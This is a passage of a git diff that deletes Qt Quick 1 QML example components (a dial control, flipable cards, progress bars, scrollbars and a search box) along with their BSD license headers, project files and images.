this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [imports] -import QtQuick 1.0 -import "content" -//! [imports] - -//! [0] -Rectangle { - color: "#545454" - width: 300; height: 300 - - // Dial with a slider to adjust it - Dial { - id: dial - anchors.centerIn: parent - value: slider.x * 100 / (container.width - 34) - } - - Rectangle { - id: container - anchors { bottom: parent.bottom; left: parent.left - right: parent.right; leftMargin: 20; rightMargin: 20 - bottomMargin: 10 - } - height: 16 - - radius: 8 - opacity: 0.7 - smooth: true - gradient: Gradient { - GradientStop { position: 0.0; color: "gray" } - GradientStop { position: 1.0; color: "white" } - } - - Rectangle { - id: slider - x: 1; y: 1; width: 30; height: 14 - radius: 6 - smooth: true - gradient: Gradient { - GradientStop { position: 0.0; color: "#424242" } - GradientStop { position: 1.0; color: "black" } - } - - MouseArea { - anchors.fill: parent - anchors.margins: -16 // Increase mouse area a lot outside the slider - drag.target: parent; drag.axis: Drag.XAxis - drag.minimumX: 2; drag.maximumX: container.width - 32 - } - } - } - QuitButton { - anchors.right: parent.right - anchors.top: parent.top - anchors.margins: 10 - } -} -//! [0] diff --git a/examples/declarative/qtquick1/ui-components/dialcontrol/dialcontrol.qmlproject b/examples/declarative/qtquick1/ui-components/dialcontrol/dialcontrol.qmlproject deleted file mode 100644 index 6e847b8109..0000000000 --- a/examples/declarative/qtquick1/ui-components/dialcontrol/dialcontrol.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "dialcontrol.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/ui-components/flipable/content/5_heart.png b/examples/declarative/qtquick1/ui-components/flipable/content/5_heart.png deleted file mode 100644 index fb59d81453..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/flipable/content/5_heart.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/flipable/content/9_club.png b/examples/declarative/qtquick1/ui-components/flipable/content/9_club.png deleted file mode 100644 index 2545001904..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/flipable/content/9_club.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/flipable/content/Card.qml b/examples/declarative/qtquick1/ui-components/flipable/content/Card.qml deleted file mode 100644 index 9108a61084..0000000000 --- a/examples/declarative/qtquick1/ui-components/flipable/content/Card.qml +++ /dev/null @@ -1,80 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Flipable { - id: container - - property alias image: frontImage.source - property bool flipped: true - property int xAxis: 0 - property int yAxis: 0 - property int angle: 0 - - width: front.width; height: front.height - - front: Image { id: frontImage; smooth: true } - back: Image { source: "back.png"; smooth: true } - - state: "back" - - MouseArea { anchors.fill: parent; onClicked: container.flipped = !container.flipped } - - transform: Rotation { - id: rotation; origin.x: container.width / 2; origin.y: container.height / 2 - axis.x: container.xAxis; axis.y: container.yAxis; axis.z: 0 - } - - states: State { - name: "back"; when: container.flipped - PropertyChanges { target: rotation; angle: container.angle } - } - - transitions: Transition { - ParallelAnimation { - NumberAnimation { target: rotation; properties: "angle"; duration: 600 } - SequentialAnimation { - NumberAnimation { target: container; property: "scale"; to: 0.75; duration: 300 } - NumberAnimation { target: container; property: "scale"; to: 1.0; duration: 300 } - } - } - } -} diff --git a/examples/declarative/qtquick1/ui-components/flipable/content/back.png b/examples/declarative/qtquick1/ui-components/flipable/content/back.png deleted file mode 100644 index f715d7487e..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/flipable/content/back.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/flipable/flipable.qml b/examples/declarative/qtquick1/ui-components/flipable/flipable.qml deleted file mode 100644 index f5fb635102..0000000000 --- a/examples/declarative/qtquick1/ui-components/flipable/flipable.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -Rectangle { - id: window - - width: 480; height: 320 - color: "darkgreen" - - Row { - anchors.centerIn: parent; spacing: 30 - Card { image: "content/9_club.png"; angle: 180; yAxis: 1 } - Card { image: "content/5_heart.png"; angle: 540; xAxis: 1 } - } -} diff --git a/examples/declarative/qtquick1/ui-components/flipable/flipable.qmlproject b/examples/declarative/qtquick1/ui-components/flipable/flipable.qmlproject deleted file mode 100644 index 68718b2e69..0000000000 --- a/examples/declarative/qtquick1/ui-components/flipable/flipable.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "flipable.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/ui-components/progressbar/content/ProgressBar.qml b/examples/declarative/qtquick1/ui-components/progressbar/content/ProgressBar.qml deleted file mode 100644 index 8c78d4d278..0000000000 --- a/examples/declarative/qtquick1/ui-components/progressbar/content/ProgressBar.qml +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: progressbar - - property int minimum: 0 - property int maximum: 100 - property int value: 0 - property alias color: gradient1.color - property alias secondColor: gradient2.color - - width: 250; height: 23 - clip: true - - BorderImage { - source: "background.png" - width: parent.width; height: parent.height - border { left: 4; top: 4; right: 4; bottom: 4 } - } - - Rectangle { - id: highlight - - property int widthDest: ((progressbar.width * (value - minimum)) / (maximum - minimum) - 6) - - width: highlight.widthDest - Behavior on width { SmoothedAnimation { velocity: 1200 } } - - anchors { left: parent.left; top: parent.top; bottom: parent.bottom; margins: 3 } - radius: 1 - gradient: Gradient { - GradientStop { id: gradient1; position: 0.0 } - GradientStop { id: gradient2; position: 1.0 } - } - - } - Text { - anchors { right: highlight.right; rightMargin: 6; verticalCenter: parent.verticalCenter } - color: "white" - font.bold: true - text: Math.floor((value - minimum) / (maximum - minimum) * 100) + '%' - } -} diff --git a/examples/declarative/qtquick1/ui-components/progressbar/content/background.png b/examples/declarative/qtquick1/ui-components/progressbar/content/background.png deleted file mode 100644 index 9044226f85..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/progressbar/content/background.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/progressbar/main.qml b/examples/declarative/qtquick1/ui-components/progressbar/main.qml deleted file mode 100644 index 2d61f000c8..0000000000 --- a/examples/declarative/qtquick1/ui-components/progressbar/main.qml +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -Rectangle { - id: main - - width: 600; height: 405 - color: "#edecec" - - Flickable { - anchors.fill: parent - contentHeight: column.height + 20 - - Column { - id: column - x: 10; y: 10 - spacing: 10 - - Repeater { - model: 25 - - ProgressBar { - property int r: Math.floor(Math.random() * 5000 + 1000) - width: main.width - 20 - - NumberAnimation on value { duration: r; from: 0; to: 100; loops: Animation.Infinite } - ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Animation.Infinite } - ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Animation.Infinite } - } - } - } - } -} diff --git a/examples/declarative/qtquick1/ui-components/progressbar/progressbar.qmlproject b/examples/declarative/qtquick1/ui-components/progressbar/progressbar.qmlproject deleted file mode 100644 index e5a8bf02ca..0000000000 --- a/examples/declarative/qtquick1/ui-components/progressbar/progressbar.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "main.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/ui-components/scrollbar/ScrollBar.qml b/examples/declarative/qtquick1/ui-components/scrollbar/ScrollBar.qml deleted file mode 100644 index ebacccfd6b..0000000000 --- a/examples/declarative/qtquick1/ui-components/scrollbar/ScrollBar.qml +++ /dev/null @@ -1,74 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: scrollBar - - // The properties that define the scrollbar's state. - // position and pageSize are in the range 0.0 - 1.0. They are relative to the - // height of the page, i.e. a pageSize of 0.5 means that you can see 50% - // of the height of the view. - // orientation can be either Qt.Vertical or Qt.Horizontal - property real position - property real pageSize - property variant orientation : Qt.Vertical - - // A light, semi-transparent background - Rectangle { - id: background - anchors.fill: parent - radius: orientation == Qt.Vertical ? (width/2 - 1) : (height/2 - 1) - color: "white" - opacity: 0.3 - } - - // Size the bar to the required size, depending upon the orientation. - Rectangle { - x: orientation == Qt.Vertical ? 1 : (scrollBar.position * (scrollBar.width-2) + 1) - y: orientation == Qt.Vertical ? (scrollBar.position * (scrollBar.height-2) + 1) : 1 - width: orientation == Qt.Vertical ? (parent.width-2) : (scrollBar.pageSize * (scrollBar.width-2)) - height: orientation == Qt.Vertical ? (scrollBar.pageSize * (scrollBar.height-2)) : (parent.height-2) - radius: orientation == Qt.Vertical ? (width/2 - 1) : (height/2 - 1) - color: "black" - opacity: 0.7 - } -} diff --git a/examples/declarative/qtquick1/ui-components/scrollbar/main.qml b/examples/declarative/qtquick1/ui-components/scrollbar/main.qml deleted file mode 100644 index 3e51e0a9ff..0000000000 --- a/examples/declarative/qtquick1/ui-components/scrollbar/main.qml +++ /dev/null @@ -1,93 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 640 - height: 480 - - // Create a flickable to view a large image. - Flickable { - id: view - anchors.fill: parent - contentWidth: picture.width - contentHeight: picture.height - - Image { - id: picture - source: "pics/niagara_falls.jpg" - asynchronous: true - } - - // Only show the scrollbars when the view is moving. - states: State { - name: "ShowBars" - when: view.movingVertically || view.movingHorizontally - PropertyChanges { target: verticalScrollBar; opacity: 1 } - PropertyChanges { target: horizontalScrollBar; opacity: 1 } - } - - transitions: Transition { - NumberAnimation { properties: "opacity"; duration: 400 } - } - } - - // Attach scrollbars to the right and bottom edges of the view. - ScrollBar { - id: verticalScrollBar - width: 12; height: view.height-12 - anchors.right: view.right - opacity: 0 - orientation: Qt.Vertical - position: view.visibleArea.yPosition - pageSize: view.visibleArea.heightRatio - } - - ScrollBar { - id: horizontalScrollBar - width: view.width-12; height: 12 - anchors.bottom: view.bottom - opacity: 0 - orientation: Qt.Horizontal - position: view.visibleArea.xPosition - pageSize: view.visibleArea.widthRatio - } -} diff --git a/examples/declarative/qtquick1/ui-components/scrollbar/pics/niagara_falls.jpg b/examples/declarative/qtquick1/ui-components/scrollbar/pics/niagara_falls.jpg deleted file mode 100644 index 618d808ccf..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/scrollbar/pics/niagara_falls.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/scrollbar/scrollbar.qmlproject b/examples/declarative/qtquick1/ui-components/scrollbar/scrollbar.qmlproject deleted file mode 100644 index e5a8bf02ca..0000000000 --- a/examples/declarative/qtquick1/ui-components/scrollbar/scrollbar.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "main.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/ui-components/searchbox/SearchBox.qml b/examples/declarative/qtquick1/ui-components/searchbox/SearchBox.qml deleted file mode 100644 index 78b97ae0d2..0000000000 --- a/examples/declarative/qtquick1/ui-components/searchbox/SearchBox.qml +++ /dev/null @@ -1,109 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -FocusScope { - id: focusScope - width: 250; height: 28 - - BorderImage { - source: "images/lineedit-bg.png" - width: parent.width; height: parent.height - border { left: 4; top: 4; right: 4; bottom: 4 } - } - - BorderImage { - source: "images/lineedit-bg-focus.png" - width: parent.width; height: parent.height - border { left: 4; top: 4; right: 4; bottom: 4 } - visible: parent.activeFocus ? true : false - } - - Text { - id: typeSomething - anchors.fill: parent; anchors.leftMargin: 8 - verticalAlignment: Text.AlignVCenter - text: "Type something..." - color: "gray" - font.italic: true - } - - MouseArea { - anchors.fill: parent - onClicked: { focusScope.focus = true; textInput.openSoftwareInputPanel(); } - } - - TextInput { - id: textInput - anchors { left: parent.left; leftMargin: 8; right: clear.left; rightMargin: 8; verticalCenter: parent.verticalCenter } - focus: true - selectByMouse: true - } - - Image { - id: clear - anchors { right: parent.right; rightMargin: 8; verticalCenter: parent.verticalCenter } - source: "images/clear.png" - opacity: 0 - - MouseArea { - anchors.fill: parent - onClicked: { textInput.text = ''; focusScope.focus = true; textInput.openSoftwareInputPanel(); } - } - } - - states: State { - name: "hasText"; when: textInput.text != '' - PropertyChanges { target: typeSomething; opacity: 0 } - PropertyChanges { target: clear; opacity: 1 } - } - - transitions: [ - Transition { - from: ""; to: "hasText" - NumberAnimation { exclude: typeSomething; properties: "opacity" } - }, - Transition { - from: "hasText"; to: "" - NumberAnimation { properties: "opacity" } - } - ] -} diff --git a/examples/declarative/qtquick1/ui-components/searchbox/images/clear.png b/examples/declarative/qtquick1/ui-components/searchbox/images/clear.png deleted file mode 100644 index 91eb270695..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/searchbox/images/clear.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/searchbox/images/lineedit-bg-focus.png b/examples/declarative/qtquick1/ui-components/searchbox/images/lineedit-bg-focus.png deleted file mode 100644 index bbfac38d2d..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/searchbox/images/lineedit-bg-focus.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/searchbox/images/lineedit-bg.png b/examples/declarative/qtquick1/ui-components/searchbox/images/lineedit-bg.png deleted file mode 100644 index 9044226f85..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/searchbox/images/lineedit-bg.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/searchbox/main.qml b/examples/declarative/qtquick1/ui-components/searchbox/main.qml deleted file mode 100644 index cd842f709f..0000000000 --- a/examples/declarative/qtquick1/ui-components/searchbox/main.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT 